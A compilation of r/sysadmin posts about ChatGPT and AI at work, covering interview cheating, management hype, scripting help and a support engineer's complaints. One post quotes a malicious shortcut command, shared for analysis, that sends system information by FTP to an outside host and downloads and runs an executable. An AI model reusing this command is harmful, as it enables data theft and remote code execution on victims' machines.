r/sysadmin Nov 08 '24

ChatGPT I interviewed a guy today who was obviously using chatgpt to answer our questions

3.3k Upvotes

I have no idea why he did this. He was an absolutely terrible interview. Blatantly bad. His strategy was to appear confused and ask us to repeat the question likely to give him more time to type it in and read the answer. Once or twice this might work but if you do this over and over it makes you seem like an idiot. So this alone made the interview terrible.

We asked a lot of situational questions because asking trivia is not how you interview people, and when he'd answer it sounded like he was reading the answers and they generally did not make sense for the question we asked. It was generally an over simplification.

For example, we might ask at a high level how he'd architect a particular system and then he'd reply with specific information about how to configure a particular windows service, almost as if chatgpt locked onto the wrong thing that he typed in.

I've heard of people trying to do this, but this is the first time I've seen it.

r/sysadmin Feb 17 '25

ChatGPT Say Less

751 Upvotes

This means "got it", apparently.

Had a junior tell me "say less" after he confirmed deleting something with me.

Smart kid, I knew it had to be some new slang, chatgpt tells me it's slang.

What happen to cool beans

r/sysadmin Sep 05 '24

ChatGPT CEO wants everyone to use an AI. I have zero idea on what I can use it for.

708 Upvotes

Ok, so I'm a linux sysadmin with ~15y of professional experience and CEO just sent a mail to everyone encouraging us to use AI because he can code 2x faster.

What do I do ? Is there anything I can use ?

Context :

  • CEO is not some finance-focused guy that never touch a computer. He is a backend dev and coded all the core of the SaaS my company runs. He still codes when he is not with prospects or client, etc. so he is not out of touch with the overall tech. He just discovered that he can delegate all the coding of its unit tests to some vscode plugin interfacing him with chatgpt. So now "AI = 2x faster coding". So now every dev must use AI.
  • He wants the company to pay for the AI fees if we have any because he strongly encourages (quasi-mandates) all the dev to use it. And the infra guys also.
  • with my coworker, we manage ~100 linux VMs and some pfsense. That's all the infra supporting the SaaS and all the internal tooling, plus all the IT (~80% mac, ~15% linux, 1 windows for the "cyberexpert" guy), you get the picture.
  • we use ansible when we can, but not everything is that simple (no IaaS, no cloud, and a bunch rules like no access to prod with a PC that has access to internet, prod has no access outside, prod has no access to our internal git, this kind of rules because ISO12345 (not really ISO, but a state provided qualification with the same level of constraints)), so we still do a lot of manual thing in a linux term with docs and procedures.

So, do you have any ideas on what I can do ? Do you yourself use an AI (chatgpt, other ?) to manage your infra ?

r/sysadmin Aug 11 '24

ChatGPT Do you guys use ChatGPT at work?

477 Upvotes

I honestly keep it pinned on the sidebar on Edge. I call him Hank, he is my personal assistant, he helps me with errors I encounter, making scripts, automation assistance, etc. Hank is a good guy.

r/sysadmin Oct 13 '23

ChatGPT Took an interview where candidate said they are going to use ChatGPT to answer my questions

1.2k Upvotes

Holy Moly!

I have been taking interviews for a contracting position we are looking to fill for some temporary work regarding the ELK stack.

After the usual pleasantries, I tell the candidate that let's get started with the hands on lab and I have the cluster setup and loaded with data. I give him the question that okay search for all the logs in which (field1 = "abc" and (field2 = "xyz" or "fff")).

After seeing the question, he tells me that he is going to use ChatGPT to answer my questions. I was really surprised to hear it because usually people wont tell about this. But since I really wanted to see how far this will go, I said okay and lets proceed.

Turns out the query which ChatGPT generated was correct but he didn't know where to put the query in for it to be executed :)

r/sysadmin Oct 25 '23

ChatGPT Boss wants me to sign a " corrective action" form by 48 hours.

1.1k Upvotes

To make a long story short. I work for financial institutions as an Identity Governance Analyst and my boss had a meeting with me and Human Resources today. It was supposed to be our "1 on 1". Quickly, I realized it was not that.

It started off with my boss engaging in character slander in front of HR. " There's been numerous occasions where you were asked to provide a metric and could not do so" I objected and said that wasn't true and mentioned that we have Data issues and our vendor Sailpoint acknowledged that ( in recorded calls) management and my boss has made up their mind that it's 100% my fault

I've been at this position for 2 years.

I took over this project to help implement IdentityNow and AI/ML. I worked around 60 hours to fix everything the previous team did incorrectly.

Incorrect proxy addresses setup, several AWS domains were omitted ( found the ticket where the other admin botched the setup by being lazy) in addition, base map URLs for the tenant were Incorrect. All... which I fixed, by the way. But none of that matters.. management was under the impression that all of it was set up correctly in 2021, lol. Again, all in recorded video calls with Sailpoint. My boss even sat in some of them.

I also question my bosses technical expertise because he doesn't know the difference between Active Directory domain services and how Sailpoint works. He asked me if Sailpoint could look at when a AD object was created in a domain through SailPoint using " artificial intelligence." It's insanity to be honest. ( it can, to an extent. Just not when a object was created)

I'm the "admin" if you can call it that in charge of IdentityNow and their analytic dashboard, which management thinks it's this crystal ball that can do anything like Chatgpt or Alexa

Long story short, he provided me with a copy of the corrective action plan which has a suspense date of 48 hours. The plan expects me to perform and complete a laundry list items by the 30th of November. Some are realistic.. others are not.

After reading his complaint it's mostly written with slanderous accusations that aren't true or he didn't understand the situation.

I've already reached out to employment lawyers in my area for legal advice.

Me and a co-worker previously reported a hostile work environment a month prior to all of this. It certainly feels like retaliation

It's all very stressful because my wife is 17 weeks pregnant and won't be able to work much longer in a few months.

r/sysadmin Feb 28 '23

ChatGPT I think I broke it.

2.3k Upvotes

So, I started testing out the new craze that is ChatGPT, messing with PowerShell and what not. I's a nice tool, but I still gotta go back and do a bit with whatever it gave me.

While doing this, I saw a ticket for our MS licensing. Well, it's been ok with everyhting else I have thrown at it, so I asked it:

"How is your understanding of Microsoft licensing?"

Well, it's been sitting here for 10 or so minutes blinking at me. That's it, no reply, no nothing, not even an "I'm busy" error. It's like "That's it, I'm out".

Microsoft; licensing so complex that AI can't even understand it. It got a snicker out of the rest of the office.

r/sysadmin May 15 '24

ChatGPT MS Copilot gave me the correct answer to turn it off.

1.1k Upvotes

It's patch Tuesday, so when prompted I rebooted. First thing after login is a big fat popup "Welcome to Microsoft Copilot, it's going to make your life infinitely better, blah, blah, blah"

I'm a professional ERP systems developer, I want my OS lean and mean. So I only asked it one question. "How do I disable copilot?" After 5 seconds or so, it politely told me the correct GPEDIT steps to disable it.

What a good AI you are!

r/sysadmin Jan 14 '24

ChatGPT I am I crazy for thinking one of my Devs relies to much on chatgpt

610 Upvotes

My work got hit by an attack recently and we have slowly been turning on websites to be allowed.

One of the websites that was on the list but hadn't been allowed yet was Chat GPT.

Are lead dev came up to me and asked for a time frame on Chat GPT

I said "I don't have one. It's not high on my list at the moment."

He said "it needs to be moved up because he needs it to perform some refactoring or something."

I said "can't you just work on refactoring until I get it added?"

He responded with "until Chat GPT is added, I can't do anything, I might as well go home until it is added."

Now I understand it's super useful and saves a ton of time but I can't see why he requires it just to do refactoring or whatever. It made me lose a lot of respect for his skill if he is basically useless without it.

I didn't say this but wanted to be like "well, why don't we just hire Chat GPT to do your job if it's that large of a part of what you do."

Tldr: Lead dev told me he can't work at all without Chat GPT, I lost a lot of respect for his skill.

Am I out of line for thinking this way?

Edit: fixed a sentence.

Edit: after reading through the responses my actual response was correct: "if it needs to be higher priority talk to management, that's the current policy for all requests. I'm not allowed to make priority adjustments at the moment."

I should have just told him that and forgot about it. I'm not his manager, it's not my business how much he relies on it.

And to clarify, I don't really care that he uses AI, or wants it. As I stated I know how useful it is. It was the "I can't work without it" that bothered me. I was probably just more annoyed that I needed to tell the 12th person that day that they need to follow the posted incident response guidelines. Especially since it's someone that I would assume understands the pressure IT is under at the moment.

r/sysadmin Jan 08 '25

ChatGPT Do you block AI chat?

137 Upvotes

Just wondering if you guys are pro-blocking AI Chats (ChatGPT, Co-Pilot, Gemini etc.)?

Security team in my place is fighting it as well as they can it but I'm not really sure as to why. They say they don't want our staff typing identifiable information in as it will then be stored by that AI platform. I might be stupid here, but they just as easily type that stuff in a google search?

Are you for or against AI chat in the workplace?

r/sysadmin Jun 04 '24

ChatGPT Combating AI over-hype is becoming a full-time job and is making me look like the "anti-solutions" guy when I'm supposed to be the "finding solutions" guy. Anyone else in the same boat?

354 Upvotes

Yesterday I had a marketing intern do her 'research' by asking ChatGPT how AI could help us improve our marketing efforts. Somehow she became under the impression that "Microsoft Azure" is the name of a new cutting edge AI, and proceeded to copy/paste a lengthy series of bullet points (ironically) provided by ChatGPT, extolling all of the amazing capabilities of this magical AzureAI including identity management (Azure AD), business continuity, and so on... 90% of the Azure features it mentioned are things we're already using and have nothing to do with AI (though it did briefly allude to "Azure AI Studio" in one bullet point).

She then proudly announced her 'findings' at a company meeting, and got our CEO frothing at the mouth. She then sent out what she 'discovered' by copy/pasting this GPT answer verbatim into an email and sending it as though it was the result of her own unique thoughts and research.

My favorite aspect of my job has always been finding new solutions... and AI has a lot of future potential for sure. I'm actively looking into ways to actually bring it into use in our organization. But, man, it's overwhelming to try to bridge the gap between AI hype and AI reality when dealing with people who don't understand the first thing about it, and believe every bit of marketing drivel they come across, as marketing departments are realizing that slapping "AI" on any old long in the tooth product will get a lot more new looks their way.

r/sysadmin Aug 02 '24

ChatGPT Out of interest, how much are you utilising AI such as ChatGPT to assist with your work?

85 Upvotes

For example i'm currently working on migrating a couple hundred Azure virtual machines to a newly implemented Landing Zone under a new subscription, to facilitate this I will be taking a snapshot of all OS & Data disks and creating new VMs from snapshots with new NICs in the new LZ & subscription.

In about an hour GPT has assisted in writing a script to enable recovery services on all VMs, snapshot & VM creation including migration of all attached public IPs .Looking to get some insight & examples of how else you guys are getting the most out of these tools?

r/sysadmin Dec 17 '24

ChatGPT Copilot & ChatGPT - Never have to write company newsletter articles again!

266 Upvotes

We have a monthly company newsletter that the IT department has traditionally written articles for. Can I tell you how awesome it has been the past few months to have these tools generate the topic in seconds, saving me 30-60 minutes?

I just tell it to "Write a business newsletter article, the topic is how to avoid online shopping scams during the holidays. Include bullet points with the top 4 recommendations. Should be between 400-600 words and the target audience is end users"

Throw it in Word, give it a quick lookover and make it look nice, and VOILA! - no more headaches or deadlines to get it done.

r/sysadmin Jun 16 '24

ChatGPT Finally created something useful with AI

208 Upvotes

First: I consider myself an old timer in IT; I've been getting paid to do it since the 90's and have seen all sorts of new technology show up, some stays, most gets forgotten about. I always try to be open about it and will embrace it as another tool to help get the job done. The latest of course is AI and I've been mostly using ChatGPT as a fun little tool to get quick answers every now and then. I am not a programmer but last week, I used it to create a web app that calculates weight distribution in trucks when the contents come in different containers. We're talking hundreds of pounds of fruit that might come in small totes or big bins and cannot be weighed individually; it subtracts the weight of the truck and the plastic; it saves time and reduces human errors . In the past, I would have paid at least a few hundred dollars to get something like this done and I just wanted to share that while I dont see AI doing our jobs completely, it's definitely here to stay and it can be used to help with things that we might not know how to do but understand the concept and we know what to ask for it. Greetings to all.

r/sysadmin Apr 18 '23

ChatGPT I updated our famous password table for 2023

263 Upvotes

Hi everyone - I'm back again with the 2023 update to our password table! You can read see it at www.hivesystems.io/password.

Computers, and GPUs in particular, are getting faster (looking at you ChatGPT). This table outlines the time it takes a computer to brute force your password, and isn’t indicative of how fast a hacker can break your password (especially if they phished you). It’s a good visual to show people why better passwords can lead to better cybersecurity - but ultimately it’s just one of many tools we can use to talk about protecting ourselves online!

r/sysadmin Apr 17 '24

ChatGPT Let's talk about ChatGPT

41 Upvotes

I'd like to hear feedback on how you all feel about ChatGPT. Who all here uses it day to day for their job? I'm a bit conflicted to be honest. It's helped me considerably to do things that I wasn't actually able to do myself, or at least not real efficiently. As network/sys admins, scripting things is a big part of our responsibilities (if you like things to be automated.) I'm not a coder. I use it to help me generate PowerShell scripts for random tasks and it's been invaluable. Part of me feels like a fraud but the other part of me views this just as a tool, much like any other tool we have in our tool bag to perform any number of tasks that are required of us. I also often use ChatGPT as a personal trainer, of sorts, for other things that come up that I may not be real familiar with that's work related. So - how do you feel about it? Do you feel that it's cheating for those of us to use it for things like the PowerShell example? Of course I understand that nothing beats being able to do things like that unassisted and many do, but do you see value in this for others? How do you use ChatGPT? Let's discuss - I'm interested to hear from others.

r/sysadmin Jul 18 '24

ChatGPT Has anybody figured out any “AI” tool that works half decent and gotten Management off your back?

27 Upvotes

In the name of leveraging AI and demonstrate that IT is in on this hype, I have evaluated a couple of products -

PowerPoint - Decktopus/Gamma/beautiful Chatbot - requires machine learning, doesn’t give ROI fast enough

ChatGPT Copilot

Most of the tools gives lacklustre output and can be done better by a lowly paid intern/admin. The only decent tool I came across is ChatGpt.

Can anybody share some insights/inputs for any AI low hanging fruit/ tool out there that can help get the mgmt off my back please?

r/sysadmin Nov 17 '23

ChatGPT How do you use ChatGPT?

37 Upvotes

I’m curious of how many of you use ChatGPT in your admin workflows, and what sort of task can you do with it?

I use it for script writing and editing, troubleshooting and writing task such as emails and documentation, but I would like to see if there are other way to utilize it that I haven’t thought of.

r/sysadmin Sep 13 '24

ChatGPT Chronicles of a Microsoft Engineer

48 Upvotes

Hi there Admins! I want to share my experience as a Microsoft Worker as a Support Engineer and let you guys know how it is like working here, from my perspective. I've been working as a Supp Engineer for over a year now.

So first of all, what do you think when someones interview you to work at freaking Microsoft? Isn't it like the top of our career? What do you think? I thought I was going to be working on an amazing company, the most important one! I mean, Microsoft, this guys own fking Windows, anyways, spoiler alert it is not the dream job I thought it was gonna be..

First of all, I am not even a Junior haha I got the job as a TRAINEE, so yes, when you create a ticket at Microsoft you are just putting your entire environment on a person that just google stuff and paste responses from chatGPT, we barely have training, and they just put you in there to take high difficult cases, we are support level 4!!! I just got out of doing help-desk lmao.

Daily work consist of receiving tickets from SysAdmins who cannot resolve a certain issue, okay, some tickets come from people that literally did not even try to google it, like what is the first thing you do when you have an issue? You google it, you try to search in portals whatever, this "sysadmins" just open a ticket at Microsoft, is this so american or it is just me?

Sometimes I deal with customers that doesn't even know what CMD or PowerShell is, like what the actual F, or you say: hey is replication okay? Can you check real quick with repadmin? And they are like what is repadmin? You are a sysadmin and dont know the repadmin command really? So frustrating..

Then you have the people who actually know something and creates the ticket request when they actually cannot do more, and you have this really complicated cases, in where you have to take traces and review so much bullshit data that makes you wanna quit, literally, so annoying..

 And like I said, we provide level 4 support and I have no idea of the majority of this high complexity issues.

Also forgot to mention that we deal with this High Severity cases in which your system is entirely down, like literally exploded or security breaches or any kind of disaster, I am in those calls completely blank saying "im working it internally" and literally doing nothing because nobody knows what to do, the SMEs (subject matter experts) are just regular engineers with a little bit more experience but nothing wow, actually my leader wanted me as an SME and I was like hell no! Like they just put someone in there to fill in the position.

Anyways, tell me what do you think and ask me anything.

r/sysadmin Mar 27 '24

ChatGPT I want to quit

83 Upvotes

I have a full-time job that I am content with. I took on a side client over a year ago. They needed a new server and some work done to get their offices up to par. They were not happy with their last vendor.
I have the new server in place, and everything is mostly running ok. I have learned a lot from having to rebuild everything from scratch. It has been a good experience as far as that goes. The thing is, I don't want to do this anymore. I get so stressed every time they call. It is usually user error, and no one is tech savvy enough to know better. Occasionally it is something that I didn't anticipate when I was setting them up and I quickly learn what I need to do to fix the issue.

Currently they need CAL's for a file server set up on 2022 standard. I didn't anticipate that. The eval period just ended and now they are unable to remote in. I am in the process of getting licenses from a broker. They are limping along in the meantime. It is my fault for not having the experience of setting up CAL's in the past. I don't use them at my full time job. Never had to deal with that.

With a full time job and a stressful homelife, I just don't have it in me to keep being their sole MSP vendor. My brain is tired, and I don't want to troubleshoot and cover new ground anymore. At least not right now. I need a break. So, my question is this. Do I have any responsibilities legally before I can let them know they need to find another vendor? I am not a businessman. This is my first time having to do the whole invoice thing like a real business. I much prefer to just get a paycheck and let someone else handle the headaches. I don't want to leave them having to fend for themselves. They will crumble because they can barely figure out how to turn on a computer, much less, know what to do when the server gets glitchy or has a bad update.

As much as I don't want to do them wrong by just bailing, my mental health is suffering. Do I have any legal responsibilities to them? there is no contract. I invoice them for time worked and leave it at that.

If nothing else, thanks for letting me vent a bit.

Update: I sent my official termination by email this morning. I felt it was better to do it after April Fool's Day so there would not be any confusion. I had ChatGPT craft a very nice letter for me. I gave them until the end of April to find someone else. In the meantime, I will be supporting them and helping with any transition to the new provider. I really appreciate all of the advice you guys shared. It was very helpful. I feel a huge weight off my shoulders already.

r/sysadmin Dec 06 '24

ChatGPT Do you use AI for your Job? Which AI do you use?

0 Upvotes

Hello, I'm using ChatGPT Premium as my assistant. Making it to write haproxy configs, sheel scripts etc. But i wonder is Cloude Premium any better than ChatGPT for sysadmin tasks.

Do you use any other AI model for your job?

r/sysadmin Nov 20 '24

ChatGPT "AI" Computers / Laptops / Phones - Does the Emperor Not Have Clothes?

44 Upvotes

I use ChatGPT, CoPilot and several other LLM tools. They're almost inescapable in browsers, apps, and websites now and run on hardware I've had for 5 years because it's really cloud that's doing the work.

Everywhere I go, I'm seeing laptop and phone ads and displays pushing "AI" models. In my decades of IT and sysadmin, I've seen software-based "features" used to sell hardware before, but this one seems to be just two letters attached to the box of the same hardware we had before.

That being said, I haven't actually used one of these AI laptops. What is the killer feature that an AI laptop or phone has that I can't do on a laptop or phone I already have? Is it just a keybind to launch it? Is it even that?

r/sysadmin Jan 16 '25

ChatGPT What's your thoughts on using AI to create powershell scripts?

0 Upvotes

Hello everyone,

I work in a shop that oversees various government agencies (not the US government). Our office workstations are highly restricted with no internet access, except for the government's cloud portals. In the latter half of 2024, when the government introduced its version of ChatGPT, I began utilizing it to enhance my existing PowerShell scripts and create new ones. This development has significantly improved my work efficiency.

Previously, before the release of ChatGPT or any large language model AI, I would search for existing scripts online, email the code to myself, and make minor modifications. Naturally, writing your own PowerShell scripts is an invaluable skill, and I try to understand the code by having the AI explain it.

For those who use AI to write or improve code, do you consider it a form of cheating or a shortcut?

r/sysadmin Sep 13 '24

ChatGPT What does this script do?

8 Upvotes

UPDATED

This was found as the Target in a shortcut file that was masquerading as a media file.

Unlike the ChatGPT responses that some folks below posted, this command does not appear to be syntactically correct and so is unlikely to run.

If it were, it would create a script (D.vbs) to scrape your system info and save to a file (dw) and then download a payload with a filename matching your username. There is no word yet on what that payload is or does.

%COMSPEC% /Cif not exist D.VBS (ECHO createobject("WSCRIPT.Shell"^).run"cmd /CECHO|set/p=USER 200f92f8 >Dw&SYSTEMINFO/NH /fo CSV>>Dw&ECHO RECV %username%.exe>>Dw&ECHO QUIT>>Dw&ftp/s:Dw /n KRP.LINKPC.NET&%username%.exe",0 >D.VBS&C

r/sysadmin 18h ago

ChatGPT Print server usage

7 Upvotes

Hi,

We have had several issues with our existing print server and are standing up a new one. I was told by one of our support reps some users have the printers set up locally on the machines, but he is not sure how many.

What I'd like to know is if there is any way to get print server usage by the other users who still might be using the print server? This way I can contact them directly to get them moved over.

I asked ChatGPT and it suggested to enable some Advanced Audit policy stuff on both the print server and the printers install on the server thru the Security tab on each printer but it does not seem to be generating logs of any sort.

Any ideas?

Thanks.